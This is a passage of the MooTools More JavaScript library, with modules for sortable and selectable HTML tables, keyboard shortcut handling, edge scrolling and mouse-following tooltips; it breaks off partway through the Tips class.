HtmlTable = Class.refactor(HtmlTable, {

	options: {
		classZebra: 'table-tr-odd',
		zebra: true,
		zebraOnlyVisibleRows: true
	},

	initialize: function(){
		this.previous.apply(this, arguments);
		if (this.occluded) return this.occluded;
		if (this.options.zebra) this.updateZebras();
	},

	updateZebras: function(){
		var index = 0;
		Array.each(this.body.rows, function(row){
			if (!this.options.zebraOnlyVisibleRows || row.isDisplayed()){
				this.zebra(row, index++);
			}
		}, this);
	},

	setRowStyle: function(row, i){
		if (this.previous) this.previous(row, i);
		this.zebra(row, i);
	},

	zebra: function(row, i){
		return row[((i % 2) ? 'remove' : 'add')+'Class'](this.options.classZebra);
	},

	push: function(){
		var pushed = this.previous.apply(this, arguments);
		if (this.options.zebra) this.updateZebras();
		return pushed;
	}

});


/*
---

script: HtmlTable.Sort.js

name: HtmlTable.Sort

description: Builds a stripy, sortable table with methods to add rows.

license: MIT-style license

authors:
  - Harald Kirschner
  - Aaron Newton
  - Jacob Thornton

requires:
  - Core/Hash
  - /HtmlTable
  - /Class.refactor
  - /Element.Delegation
  - /String.Extras
  - /Date

provides: [HtmlTable.Sort]

...
*/

HtmlTable = Class.refactor(HtmlTable, {

	options: {/*
		onSort: function(){}, */
		sortIndex: 0,
		sortReverse: false,
		parsers: [],
		defaultParser: 'string',
		classSortable: 'table-sortable',
		classHeadSort: 'table-th-sort',
		classHeadSortRev: 'table-th-sort-rev',
		classNoSort: 'table-th-nosort',
		classGroupHead: 'table-tr-group-head',
		classGroup: 'table-tr-group',
		classCellSort: 'table-td-sort',
		classSortSpan: 'table-th-sort-span',
		sortable: false,
		thSelector: 'th'
	},

	initialize: function (){
		this.previous.apply(this, arguments);
		if (this.occluded) return this.occluded;
		this.sorted = {index: null, dir: 1};
		if (!this.bound) this.bound = {};
		this.bound.headClick = this.headClick.bind(this);
		this.sortSpans = new Elements();
		if (this.options.sortable){
			this.enableSort();
			if (this.options.sortIndex != null) this.sort(this.options.sortIndex, this.options.sortReverse);
		}
	},

	attachSorts: function(attach){
		this.detachSorts();
		if (attach !== false) this.element.addEvent('click:relay(' + this.options.thSelector + ')', this.bound.headClick);
	},

	detachSorts: function(){
		this.element.removeEvents('click:relay(' + this.options.thSelector + ')');
	},

	setHeaders: function(){
		this.previous.apply(this, arguments);
		if (this.sortEnabled) this.setParsers();
	},

	setParsers: function(){
		this.parsers = this.detectParsers();
	},

	detectParsers: function(){
		return this.head && this.head.getElements(this.options.thSelector).flatten().map(this.detectParser, this);
	},

	detectParser: function(cell, index){
		if (cell.hasClass(this.options.classNoSort) || cell.retrieve('htmltable-parser')) return cell.retrieve('htmltable-parser');
		var thDiv = new Element('div');
		thDiv.adopt(cell.childNodes).inject(cell);
		var sortSpan = new Element('span', {'class': this.options.classSortSpan}).inject(thDiv, 'top');
		this.sortSpans.push(sortSpan);
		var parser = this.options.parsers[index],
			rows = this.body.rows,
			cancel;
		switch (typeOf(parser)){
			case 'function': parser = {convert: parser}; cancel = true; break;
			case 'string': parser = parser; cancel = true; break;
		}
		if (!cancel){
			HtmlTable.ParserPriority.some(function(parserName){
				var current = HtmlTable.Parsers[parserName],
					match = current.match;
				if (!match) return false;
				for (var i = 0, j = rows.length; i < j; i++){
					var cell = document.id(rows[i].cells[index]),
						text = cell ? cell.get('html').clean() : '';
					if (text && match.test(text)){
						parser = current;
						return true;
					}
				}
			});
		}
		if (!parser) parser = this.options.defaultParser;
		cell.store('htmltable-parser', parser);
		return parser;
	},

	headClick: function(event, el){
		if (!this.head || el.hasClass(this.options.classNoSort)) return;
		return this.sort(Array.indexOf(this.head.getElements(this.options.thSelector).flatten(), el) % this.body.rows[0].cells.length);
	},

	serialize: function(){
		var previousSerialization = this.previous.apply(this, arguments) || {};
		if (this.options.sortable){
			previousSerialization.sortIndex = this.sorted.index;
			previousSerialization.sortReverse = this.sorted.reverse;
		}
		return previousSerialization;
	},

	restore: function(tableState){
		if (this.options.sortable && tableState.sortIndex){
			this.sort(tableState.sortIndex, tableState.sortReverse);
		}
		this.previous.apply(this, arguments);
	},

	setSortedState: function(index, reverse){
		if (reverse != null) this.sorted.reverse = reverse;
		else if (this.sorted.index == index) this.sorted.reverse = !this.sorted.reverse;
		else this.sorted.reverse = this.sorted.index == null;

		if (index != null) this.sorted.index = index;
	},

	setHeadSort: function(sorted){
		var head = $$(!this.head.length ? this.head.cells[this.sorted.index] : this.head.map(function(row){
			return row.getElements(this.options.thSelector)[this.sorted.index];
		}, this).clean());
		if (!head.length) return;
		if (sorted){
			head.addClass(this.options.classHeadSort);
			if (this.sorted.reverse) head.addClass(this.options.classHeadSortRev);
			else head.removeClass(this.options.classHeadSortRev);
		} else {
			head.removeClass(this.options.classHeadSort).removeClass(this.options.classHeadSortRev);
		}
	},

	setRowSort: function(data, pre){
		var count = data.length,
			body = this.body,
			group,
			rowIndex;

		while (count){
			var item = data[--count],
				position = item.position,
				row = body.rows[position];

			if (row.disabled) continue;
			if (!pre){
				group = this.setGroupSort(group, row, item);
				this.setRowStyle(row, count);
			}
			body.appendChild(row);

			for (rowIndex = 0; rowIndex < count; rowIndex++){
				if (data[rowIndex].position > position) data[rowIndex].position--;
			}
		}
	},

	setRowStyle: function(row, i){
		this.previous(row, i);
		row.cells[this.sorted.index].addClass(this.options.classCellSort);
	},

	setGroupSort: function(group, row, item){
		if (group == item.value) row.removeClass(this.options.classGroupHead).addClass(this.options.classGroup);
		else row.removeClass(this.options.classGroup).addClass(this.options.classGroupHead);
		return item.value;
	},

	getParser: function(){
		var parser = this.parsers[this.sorted.index];
		return typeOf(parser) == 'string' ? HtmlTable.Parsers[parser] : parser;
	},

	sort: function(index, reverse, pre){
		if (!this.head) return;

		if (!pre){
			this.clearSort();
			this.setSortedState(index, reverse);
			this.setHeadSort(true);
		}

		var parser = this.getParser();
		if (!parser) return;

		var rel;
		if (!Browser.ie){
			rel = this.body.getParent();
			this.body.dispose();
		}

		var data = this.parseData(parser).sort(function(a, b){
			if (a.value === b.value) return 0;
			return a.value > b.value ? 1 : -1;
		});

		if (this.sorted.reverse == (parser == HtmlTable.Parsers['input-checked'])) data.reverse(true);
		this.setRowSort(data, pre);

		if (rel) rel.grab(this.body);
		this.fireEvent('stateChanged');
		return this.fireEvent('sort', [this.body, this.sorted.index]);
	},

	parseData: function(parser){
		return Array.map(this.body.rows, function(row, i){
			var value = parser.convert.call(document.id(row.cells[this.sorted.index]));
			return {
				position: i,
				value: value
			};
		}, this);
	},

	clearSort: function(){
		this.setHeadSort(false);
		this.body.getElements('td').removeClass(this.options.classCellSort);
	},

	reSort: function(){
		if (this.sortEnabled) this.sort.call(this, this.sorted.index, this.sorted.reverse);
		return this;
	},

	enableSort: function(){
		this.element.addClass(this.options.classSortable);
		this.attachSorts(true);
		this.setParsers();
		this.sortEnabled = true;
		return this;
	},

	disableSort: function(){
		this.element.removeClass(this.options.classSortable);
		this.attachSorts(false);
		this.sortSpans.each(function(span){
			span.destroy();
		});
		this.sortSpans.empty();
		this.sortEnabled = false;
		return this;
	}

});

HtmlTable.ParserPriority = ['date', 'input-checked', 'input-value', 'float', 'number'];

HtmlTable.Parsers = {

	'date': {
		match: /^\d{2}[-\/ ]\d{2}[-\/ ]\d{2,4}$/,
		convert: function(){
			var d = Date.parse(this.get('text').stripTags());
			return (typeOf(d) == 'date') ? d.format('db') : '';
		},
		type: 'date'
	},
	'input-checked': {
		match: / type="(radio|checkbox)" /,
		convert: function(){
			return this.getElement('input').checked;
		}
	},
	'input-value': {
		match: /<input/,
		convert: function(){
			return this.getElement('input').value;
		}
	},
	'number': {
		match: /^\d+[^\d.,]*$/,
		convert: function(){
			return this.get('text').stripTags().toInt();
		},
		number: true
	},
	'numberLax': {
		match: /^[^\d]+\d+$/,
		convert: function(){
			return this.get('text').replace(/[^-?^0-9]/, '').stripTags().toInt();
		},
		number: true
	},
	'float': {
		match: /^[\d]+\.[\d]+/,
		convert: function(){
			return this.get('text').replace(/[^-?^\d.]/, '').stripTags().toFloat();
		},
		number: true
	},
	'floatLax': {
		match: /^[^\d]+[\d]+\.[\d]+$/,
		convert: function(){
			return this.get('text').replace(/[^-?^\d.]/, '').stripTags();
		},
		number: true
	},
	'string': {
		match: null,
		convert: function(){
			return this.get('text').stripTags().toLowerCase();
		}
	},
	'title': {
		match: null,
		convert: function(){
			return this.title;
		}
	}

};



HtmlTable.defineParsers = function(parsers){
	HtmlTable.Parsers = Object.append(HtmlTable.Parsers, parsers);
	for (var parser in parsers){
		HtmlTable.ParserPriority.unshift(parser);
	}
};


/*
---

script: Keyboard.js

name: Keyboard

description: KeyboardEvents used to intercept events on a class for keyboard and format modifiers in a specific order so as to make alt+shift+c the same as shift+alt+c.

license: MIT-style license

authors:
  - Perrin Westrich
  - Aaron Newton
  - Scott Kyle

requires:
  - Core/Events
  - Core/Options
  - Core/Element.Event
  - Element.Event.Pseudos.Keys

provides: [Keyboard]

...
*/

(function(){

	var Keyboard = this.Keyboard = new Class({

		Extends: Events,

		Implements: [Options],

		options: {/*
			onActivate: function(){},
			onDeactivate: function(){},*/
			defaultEventType: 'keydown',
			active: false,
			manager: null,
			events: {},
			nonParsedEvents: ['activate', 'deactivate', 'onactivate', 'ondeactivate', 'changed', 'onchanged']
		},

		initialize: function(options){
			if (options && options.manager){
				this._manager = options.manager;
				delete options.manager;
			}
			this.setOptions(options);
			this._setup();
		},

		addEvent: function(type, fn, internal){
			return this.parent(Keyboard.parse(type, this.options.defaultEventType, this.options.nonParsedEvents), fn, internal);
		},

		removeEvent: function(type, fn){
			return this.parent(Keyboard.parse(type, this.options.defaultEventType, this.options.nonParsedEvents), fn);
		},

		toggleActive: function(){
			return this[this.isActive() ? 'deactivate' : 'activate']();
		},

		activate: function(instance){
			if (instance){
				if (instance.isActive()) return this;
				//if we're stealing focus, store the last keyboard to have it so the relinquish command works
				if (this._activeKB && instance != this._activeKB){
					this.previous = this._activeKB;
					this.previous.fireEvent('deactivate');
				}
				//if we're enabling a child, assign it so that events are now passed to it
				this._activeKB = instance.fireEvent('activate');
				Keyboard.manager.fireEvent('changed');
			} else if (this._manager){
				//else we're enabling ourselves, we must ask our parent to do it for us
				this._manager.activate(this);
			}
			return this;
		},

		isActive: function(){
			return this._manager ? (this._manager._activeKB == this) : (Keyboard.manager == this);
		},

		deactivate: function(instance){
			if (instance){
				if (instance === this._activeKB){
					this._activeKB = null;
					instance.fireEvent('deactivate');
					Keyboard.manager.fireEvent('changed');
				}
			} else if (this._manager){
				this._manager.deactivate(this);
			}
			return this;
		},

		relinquish: function(){
			if (this.isActive() && this._manager && this._manager.previous) this._manager.activate(this._manager.previous);
			else this.deactivate();
			return this;
		},

		//management logic
		manage: function(instance){
			if (instance._manager) instance._manager.drop(instance);
			this._instances.push(instance);
			instance._manager = this;
			if (!this._activeKB) this.activate(instance);
			return this;
		},

		drop: function(instance){
			instance.relinquish();
			this._instances.erase(instance);
			if (this._activeKB == instance){
				if (this.previous && this._instances.contains(this.previous)) this.activate(this.previous);
				else this._activeKB = this._instances[0];
			}
			return this;
		},

		trace: function(){
			Keyboard.trace(this);
		},

		each: function(fn){
			Keyboard.each(this, fn);
		},

		/*
			PRIVATE METHODS
		*/

		_instances: [],

		_disable: function(instance){
			if (this._activeKB == instance) this._activeKB = null;
		},

		_setup: function(){
			this.addEvents(this.options.events);
			//if this is the root manager, nothing manages it
			if (Keyboard.manager && !this._manager) Keyboard.manager.manage(this);
			if (this.options.active) this.activate();
			else this.relinquish();
		},

		_handle: function(event, type){
			//Keyboard.stop(event) prevents key propagation
			if (event.preventKeyboardPropagation) return;

			var bubbles = !!this._manager;
			if (bubbles && this._activeKB){
				this._activeKB._handle(event, type);
				if (event.preventKeyboardPropagation) return;
			}
			this.fireEvent(type, event);

			if (!bubbles && this._activeKB) this._activeKB._handle(event, type);
		}

	});

	var parsed = {};
	var modifiers = ['shift', 'control', 'alt', 'meta'];
	var regex = /^(?:shift|control|ctrl|alt|meta)$/;

	Keyboard.parse = function(type, eventType, ignore){
		if (ignore && ignore.contains(type.toLowerCase())) return type;

		type = type.toLowerCase().replace(/^(keyup|keydown):/, function($0, $1){
			eventType = $1;
			return '';
		});

		if (!parsed[type]){
			var key, mods = {};
			type.split('+').each(function(part){
				if (regex.test(part)) mods[part] = true;
				else key = part;
			});

			mods.control = mods.control || mods.ctrl; // allow both control and ctrl

			var keys = [];
			modifiers.each(function(mod){
				if (mods[mod]) keys.push(mod);
			});

			if (key) keys.push(key);
			parsed[type] = keys.join('+');
		}

		return eventType + ':keys(' + parsed[type] + ')';
	};

	Keyboard.each = function(keyboard, fn){
		var current = keyboard || Keyboard.manager;
		while (current){
			fn.run(current);
			current = current._activeKB;
		}
	};

	Keyboard.stop = function(event){
		event.preventKeyboardPropagation = true;
	};

	Keyboard.manager = new Keyboard({
		active: true
	});

	Keyboard.trace = function(keyboard){
		keyboard = keyboard || Keyboard.manager;
		var hasConsole = window.console && console.log;
		if (hasConsole) console.log('the following items have focus: ');
		Keyboard.each(keyboard, function(current){
			if (hasConsole) console.log(document.id(current.widget) || current.wiget || current);
		});
	};

	var handler = function(event){
		var keys = [];
		modifiers.each(function(mod){
			if (event[mod]) keys.push(mod);
		});

		if (!regex.test(event.key)) keys.push(event.key);
		Keyboard.manager._handle(event, event.type + ':keys(' + keys.join('+') + ')');
	};

	document.addEvents({
		'keyup': handler,
		'keydown': handler
	});

})();


/*
---

script: Keyboard.Extras.js

name: Keyboard.Extras

description: Enhances Keyboard by adding the ability to name and describe keyboard shortcuts, and the ability to grab shortcuts by name and bind the shortcut to different keys.

license: MIT-style license

authors:
  - Perrin Westrich

requires:
  - /Keyboard
  - /MooTools.More

provides: [Keyboard.Extras]

...
*/
Keyboard.prototype.options.nonParsedEvents.combine(['rebound', 'onrebound']);

Keyboard.implement({

	/*
		shortcut should be in the format of:
		{
			'keys': 'shift+s', // the default to add as an event.
			'description': 'blah blah blah', // a brief description of the functionality.
			'handler': function(){} // the event handler to run when keys are pressed.
		}
	*/
	addShortcut: function(name, shortcut){
		this._shortcuts = this._shortcuts || [];
		this._shortcutIndex = this._shortcutIndex || {};

		shortcut.getKeyboard = Function.from(this);
		shortcut.name = name;
		this._shortcutIndex[name] = shortcut;
		this._shortcuts.push(shortcut);
		if (shortcut.keys) this.addEvent(shortcut.keys, shortcut.handler);
		return this;
	},

	addShortcuts: function(obj){
		for (var name in obj) this.addShortcut(name, obj[name]);
		return this;
	},

	removeShortcut: function(name){
		var shortcut = this.getShortcut(name);
		if (shortcut && shortcut.keys){
			this.removeEvent(shortcut.keys, shortcut.handler);
			delete this._shortcutIndex[name];
			this._shortcuts.erase(shortcut);
		}
		return this;
	},

	removeShortcuts: function(names){
		names.each(this.removeShortcut, this);
		return this;
	},

	getShortcuts: function(){
		return this._shortcuts || [];
	},

	getShortcut: function(name){
		return (this._shortcutIndex || {})[name];
	}

});

Keyboard.rebind = function(newKeys, shortcuts){
	Array.from(shortcuts).each(function(shortcut){
		shortcut.getKeyboard().removeEvent(shortcut.keys, shortcut.handler);
		shortcut.getKeyboard().addEvent(newKeys, shortcut.handler);
		shortcut.keys = newKeys;
		shortcut.getKeyboard().fireEvent('rebound');
	});
};


Keyboard.getActiveShortcuts = function(keyboard){
	var activeKBS = [], activeSCS = [];
	Keyboard.each(keyboard, [].push.bind(activeKBS));
	activeKBS.each(function(kb){ activeSCS.extend(kb.getShortcuts()); });
	return activeSCS;
};

Keyboard.getShortcut = function(name, keyboard, opts){
	opts = opts || {};
	var shortcuts = opts.many ? [] : null,
		set = opts.many ? function(kb){
				var shortcut = kb.getShortcut(name);
				if (shortcut) shortcuts.push(shortcut);
			} : function(kb){
				if (!shortcuts) shortcuts = kb.getShortcut(name);
			};
	Keyboard.each(keyboard, set);
	return shortcuts;
};

Keyboard.getShortcuts = function(name, keyboard){
	return Keyboard.getShortcut(name, keyboard, { many: true });
};


/*
---

script: HtmlTable.Select.js

name: HtmlTable.Select

description: Builds a stripy, sortable table with methods to add rows. Rows can be selected with the mouse or keyboard navigation.

license: MIT-style license

authors:
  - Harald Kirschner
  - Aaron Newton

requires:
  - /Keyboard
  - /Keyboard.Extras
  - /HtmlTable
  - /Class.refactor
  - /Element.Delegation
  - /Element.Shortcuts

provides: [HtmlTable.Select]

...
*/

HtmlTable = Class.refactor(HtmlTable, {

	options: {
		/*onRowFocus: function(){},
		onRowUnfocus: function(){},*/
		useKeyboard: true,
		classRowSelected: 'table-tr-selected',
		classRowHovered: 'table-tr-hovered',
		classSelectable: 'table-selectable',
		shiftForMultiSelect: true,
		allowMultiSelect: true,
		selectable: false,
		selectHiddenRows: false
	},

	initialize: function(){
		this.previous.apply(this, arguments);
		if (this.occluded) return this.occluded;

		this.selectedRows = new Elements();

		if (!this.bound) this.bound = {};
		this.bound.mouseleave = this.mouseleave.bind(this);
		this.bound.clickRow = this.clickRow.bind(this);
		this.bound.activateKeyboard = function(){
			if (this.keyboard && this.selectEnabled) this.keyboard.activate();
		}.bind(this);

		if (this.options.selectable) this.enableSelect();
	},

	empty: function(){
		this.selectNone();
		return this.previous();
	},

	enableSelect: function(){
		this.selectEnabled = true;
		this.attachSelects();
		this.element.addClass(this.options.classSelectable);
		return this;
	},

	disableSelect: function(){
		this.selectEnabled = false;
		this.attachSelects(false);
		this.element.removeClass(this.options.classSelectable);
		return this;
	},

	push: function(){
		var ret = this.previous.apply(this, arguments);
		this.updateSelects();
		return ret;
	},

	toggleRow: function(row){
		return this[(this.isSelected(row) ? 'de' : '') + 'selectRow'](row);
	},

	selectRow: function(row, _nocheck){
		//private variable _nocheck: boolean whether or not to confirm the row is in the table body
		//added here for optimization when selecting ranges
		if (this.isSelected(row) || (!_nocheck && !this.body.getChildren().contains(row))) return;
		if (!this.options.allowMultiSelect) this.selectNone();

		if (!this.isSelected(row)){
			this.selectedRows.push(row);
			row.addClass(this.options.classRowSelected);
			this.fireEvent('rowFocus', [row, this.selectedRows]);
			this.fireEvent('stateChanged');
		}

		this.focused = row;
		document.clearSelection();

		return this;
	},

	isSelected: function(row){
		return this.selectedRows.contains(row);
	},

	getSelected: function(){
		return this.selectedRows;
	},

	getSelected: function(){
		return this.selectedRows;
	},

	serialize: function(){
		var previousSerialization = this.previous.apply(this, arguments) || {};
		if (this.options.selectable){
			previousSerialization.selectedRows = this.selectedRows.map(function(row){
				return Array.indexOf(this.body.rows, row);
			}.bind(this));
		}
		return previousSerialization;
	},

	restore: function(tableState){
		if (this.options.selectable && tableState.selectedRows){
			tableState.selectedRows.each(function(index){
				this.selectRow(this.body.rows[index]);
			}.bind(this));
		}
		this.previous.apply(this, arguments);
	},

	deselectRow: function(row, _nocheck){
		if (!this.isSelected(row) || (!_nocheck && !this.body.getChildren().contains(row))) return;

		this.selectedRows = new Elements(Array.from(this.selectedRows).erase(row));
		row.removeClass(this.options.classRowSelected);
		this.fireEvent('rowUnfocus', [row, this.selectedRows]);
		this.fireEvent('stateChanged');
		return this;
	},

	selectAll: function(selectNone){
		if (!selectNone && !this.options.allowMultiSelect) return;
		this.selectRange(0, this.body.rows.length, selectNone);
		return this;
	},

	selectNone: function(){
		return this.selectAll(true);
	},

	selectRange: function(startRow, endRow, _deselect){
		if (!this.options.allowMultiSelect && !_deselect) return;
		var method = _deselect ? 'deselectRow' : 'selectRow',
			rows = Array.clone(this.body.rows);

		if (typeOf(startRow) == 'element') startRow = rows.indexOf(startRow);
		if (typeOf(endRow) == 'element') endRow = rows.indexOf(endRow);
		endRow = endRow < rows.length - 1 ? endRow : rows.length - 1;

		if (endRow < startRow){
			var tmp = startRow;
			startRow = endRow;
			endRow = tmp;
		}

		for (var i = startRow; i <= endRow; i++){
			if (this.options.selectHiddenRows || rows[i].isDisplayed()) this[method](rows[i], true);
		}

		return this;
	},

	deselectRange: function(startRow, endRow){
		this.selectRange(startRow, endRow, true);
	},

	getSelected: function(){
		return this.selectedRows;
	},

/*
	Private methods:
*/

	enterRow: function(row){
		if (this.hovered) this.hovered = this.leaveRow(this.hovered);
		this.hovered = row.addClass(this.options.classRowHovered);
	},

	leaveRow: function(row){
		row.removeClass(this.options.classRowHovered);
	},

	updateSelects: function(){
		Array.each(this.body.rows, function(row){
			var binders = row.retrieve('binders');
			if (!binders && !this.selectEnabled) return;
			if (!binders){
				binders = {
					mouseenter: this.enterRow.pass([row], this),
					mouseleave: this.leaveRow.pass([row], this)
				};
				row.store('binders', binders);
			}
			if (this.selectEnabled) row.addEvents(binders);
			else row.removeEvents(binders);
		}, this);
	},

	shiftFocus: function(offset, event){
		if (!this.focused) return this.selectRow(this.body.rows[0], event);
		var to = this.getRowByOffset(offset, this.options.selectHiddenRows);
		if (to === null || this.focused == this.body.rows[to]) return this;
		this.toggleRow(this.body.rows[to], event);
	},

	clickRow: function(event, row){
		var selecting = (event.shift || event.meta || event.control) && this.options.shiftForMultiSelect;
		if (!selecting && !(event.rightClick && this.isSelected(row) && this.options.allowMultiSelect)) this.selectNone();

		if (event.rightClick) this.selectRow(row);
		else this.toggleRow(row);

		if (event.shift){
			this.selectRange(this.rangeStart || this.body.rows[0], row, this.rangeStart ? !this.isSelected(row) : true);
			this.focused = row;
		}
		this.rangeStart = row;
	},

	getRowByOffset: function(offset, includeHiddenRows){
		if (!this.focused) return 0;
		var index = Array.indexOf(this.body.rows, this.focused);
		if ((index == 0 && offset < 0) || (index == this.body.rows.length -1 && offset > 0)) return null;
		if (includeHiddenRows){
			index += offset;
		} else {
			var limit = 0,
			    count = 0;
			if (offset > 0){
				while (count < offset && index < this.body.rows.length -1){
					if (this.body.rows[++index].isDisplayed()) count++;
				}
			} else {
				while (count > offset && index > 0){
					if (this.body.rows[--index].isDisplayed()) count--;
				}
			}
		}
		return index;
	},

	attachSelects: function(attach){
		attach = attach != null ? attach : true;

		var method = attach ? 'addEvents' : 'removeEvents';
		this.element[method]({
			mouseleave: this.bound.mouseleave,
			click: this.bound.activateKeyboard
		});

		this.body[method]({
			'click:relay(tr)': this.bound.clickRow,
			'contextmenu:relay(tr)': this.bound.clickRow
		});

		if (this.options.useKeyboard || this.keyboard){
			if (!this.keyboard) this.keyboard = new Keyboard();
			if (!this.selectKeysDefined){
				this.selectKeysDefined = true;
				var timer, held;

				var move = function(offset){
					var mover = function(e){
						clearTimeout(timer);
						e.preventDefault();
						var to = this.body.rows[this.getRowByOffset(offset, this.options.selectHiddenRows)];
						if (e.shift && to && this.isSelected(to)){
							this.deselectRow(this.focused);
							this.focused = to;
						} else {
							if (to && (!this.options.allowMultiSelect || !e.shift)){
								this.selectNone();
							}
							this.shiftFocus(offset, e);
						}

						if (held){
							timer = mover.delay(100, this, e);
						} else {
							timer = (function(){
								held = true;
								mover(e);
							}).delay(400);
						}
					}.bind(this);
					return mover;
				}.bind(this);

				var clear = function(){
					clearTimeout(timer);
					held = false;
				};

				this.keyboard.addEvents({
					'keydown:shift+up': move(-1),
					'keydown:shift+down': move(1),
					'keyup:shift+up': clear,
					'keyup:shift+down': clear,
					'keyup:up': clear,
					'keyup:down': clear
				});

				var shiftHint = '';
				if (this.options.allowMultiSelect && this.options.shiftForMultiSelect && this.options.useKeyboard){
					shiftHint = " (Shift multi-selects).";
				}

				this.keyboard.addShortcuts({
					'Select Previous Row': {
						keys: 'up',
						shortcut: 'up arrow',
						handler: move(-1),
						description: 'Select the previous row in the table.' + shiftHint
					},
					'Select Next Row': {
						keys: 'down',
						shortcut: 'down arrow',
						handler: move(1),
						description: 'Select the next row in the table.' + shiftHint
					}
				});

			}
			this.keyboard[attach ? 'activate' : 'deactivate']();
		}
		this.updateSelects();
	},

	mouseleave: function(){
		if (this.hovered) this.leaveRow(this.hovered);
	}

});


/*
---

script: Scroller.js

name: Scroller

description: Class which scrolls the contents of any Element (including the window) when the mouse reaches the Element's boundaries.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Events
  - Core/Options
  - Core/Element.Event
  - Core/Element.Dimensions
  - MooTools.More

provides: [Scroller]

...
*/

var Scroller = new Class({

	Implements: [Events, Options],

	options: {
		area: 20,
		velocity: 1,
		onChange: function(x, y){
			this.element.scrollTo(x, y);
		},
		fps: 50
	},

	initialize: function(element, options){
		this.setOptions(options);
		this.element = document.id(element);
		this.docBody = document.id(this.element.getDocument().body);
		this.listener = (typeOf(this.element) != 'element') ? this.docBody : this.element;
		this.timer = null;
		this.bound = {
			attach: this.attach.bind(this),
			detach: this.detach.bind(this),
			getCoords: this.getCoords.bind(this)
		};
	},

	start: function(){
		this.listener.addEvents({
			mouseover: this.bound.attach,
			mouseleave: this.bound.detach
		});
		return this;
	},

	stop: function(){
		this.listener.removeEvents({
			mouseover: this.bound.attach,
			mouseleave: this.bound.detach
		});
		this.detach();
		this.timer = clearInterval(this.timer);
		return this;
	},

	attach: function(){
		this.listener.addEvent('mousemove', this.bound.getCoords);
	},

	detach: function(){
		this.listener.removeEvent('mousemove', this.bound.getCoords);
		this.timer = clearInterval(this.timer);
	},

	getCoords: function(event){
		this.page = (this.listener.get('tag') == 'body') ? event.client : event.page;
		if (!this.timer) this.timer = this.scroll.periodical(Math.round(1000 / this.options.fps), this);
	},

	scroll: function(){
		var size = this.element.getSize(),
			scroll = this.element.getScroll(),
			pos = this.element != this.docBody ? this.element.getOffsets() : {x: 0, y:0},
			scrollSize = this.element.getScrollSize(),
			change = {x: 0, y: 0},
			top = this.options.area.top || this.options.area,
			bottom = this.options.area.bottom || this.options.area;
		for (var z in this.page){
			if (this.page[z] < (top + pos[z]) && scroll[z] != 0){
				change[z] = (this.page[z] - top - pos[z]) * this.options.velocity;
			} else if (this.page[z] + bottom > (size[z] + pos[z]) && scroll[z] + size[z] != scrollSize[z]){
				change[z] = (this.page[z] - size[z] + bottom - pos[z]) * this.options.velocity;
			}
			change[z] = change[z].round();
		}
		if (change.y || change.x) this.fireEvent('change', [scroll.x + change.x, scroll.y + change.y]);
	}

});


/*
---

script: Tips.js

name: Tips

description: Class for creating nice tips that follow the mouse cursor when hovering an element.

license: MIT-style license

authors:
  - Valerio Proietti
  - Christoph Pojer
  - Luis Merino

requires:
  - Core/Options
  - Core/Events
  - Core/Element.Event
  - Core/Element.Style
  - Core/Element.Dimensions
  - /MooTools.More

provides: [Tips]

...
*/

(function(){

var read = function(option, element){
	return (option) ? (typeOf(option) == 'function' ? option(element) : element.get(option)) : '';
};

this.Tips = new Class({

	Implements: [Events, Options],

	options: {/*
		id: null,
		onAttach: function(element){},
		onDetach: function(element){},
		onBound: function(coords){},*/
		onShow: function(){
			this.tip.setStyle('display', 'block');
		},
		onHide: function(){
			this.tip.setStyle('display', 'none');
		},
		title: 'title',
		text: function(element){
			return element.get('rel') || element.get('href');
		},
		showDelay: 100,
		hideDelay: 100,
		className: 'tip-wrap',
		offset: {x: 16, y: 16},
		windowPadding: {x:0, y:0},
		fixed: false,
		waiAria: true
	},

	initialize: function(){
		var params = Array.link(arguments, {
			options: Type.isObject,
			elements: function(obj){
				return obj != null;
			}
		});
		this.setOptions(params.options);
		if (params.elements) this.attach(params.elements);
		this.container = new Element('div', {'class': 'tip'});

		if (this.options.id){
			this.container.set('id', this.options.id);
			if (this.options.waiAria) this.attachWaiAria();
		}
	},

	toElement: function(){
		if (this.tip) return this.tip;

		this.tip = new Element('div', {
			'class': this.options.className,
			styles: {
				position: 'absolute',
				top: 0,
				left: 0
			}
		}).adopt(
			new Element('div', {'class': 'tip-top'}),
			this.container,
			new Element('div', {'class': 'tip-bottom'})
		);

		return this.tip;
	},

	attachWaiAria: function(){
		var id = this.options.id;
		this.container.set('role', 'tooltip');

		if (!this.waiAria){
			this.waiAria = {
				show: function(element){
					if (id) element.set('aria-describedby', id);
					this.container.set('aria-hidden', 'false');
				},
				hide: function(element){
					if (id) element.erase('aria-describedby');
					this.container.set('aria-hidden', 'true');
				}
			};
		}
		this.addEvents(this.waiAria);
	},

	detachWaiAria: function(){
		if (this.waiAria){
			this.container.erase('role');
			this.container.erase('aria-hidden');
			this.removeEvents(this.waiAria);
		}
	},

	attach: function(elements){
		$$(elements).each(function(element){
			var title = read(this.options.title, element),
				text = read(this.options.text, element);

			element.set('title', '').store('tip:native', title).retrieve('tip:title', title);
			element.retrieve('tip:text', text);
			this.fireEvent('attach', [element]);

			var events = ['enter', 'leave'];
			if (!this.options.fixed) events.push('move');

			events.each(function(value){
				var event = element.retrieve('tip:' + value);
				if (!event) event = function(event){
					this['element' + value.capitalize()].apply(this, [event, element]);
				}.bind(this);

				element.store('tip:' + value, event).addEvent('mouse' + value, event);
			}, this);
		}, this);

		return this;
	},

	detach: function(elements){
		$$(elements).each(function(element){
			['enter', 'leave', 'move'].each(function(value){
				element.removeEvent('mouse' + value, element.retrieve('tip:' + value)).eliminate('tip:' + value);
			});

			this.fireEvent('detach', [element]);

			if (this.options.title == 'title'){ // This is necessary to check if we can revert the title
				var original = element.retrieve('tip:native');
				if (original) element.set('title', original);
			}
		}, this);

		return this;
	},

	elementEnter: function(event, element){
		clearTimeout(this.timer);
		this.timer = (function(){
			this.container.empty();

			['title', 'text'].each(function(value){
				var content = element.retrieve('tip:' + value);
				var div = this['_' + value + 'Element'] = new Element('div', {
						'class': 'tip-' + value
					}).inject(this.container);
				if (content) this.fill(div, content);
			}, this);
			this.show(element);
			this.position((this.options.fixed) ? {page: element.getPosition()} : event);
		}).delay(this.options.showDelay, this);
	},

	elementLeave: function(event, element){
		clearTimeout(this.timer);
		this.timer = this.hide.delay(this.options.hideDelay, this, element);
		this.fireForParent(event, element);
	},

	setTitle: function(title){
		if (this._titleElement){
			this._titleElement.empty();
			this.fill(this._titleElement, title);
		}
		return this;
	},

	setText: function(text){
		if (this._textElement){
			this._textElement.empty();
			this.fill(this._textElement, text);
		}
		return this;
	},

	fireForParent: function(event, element){
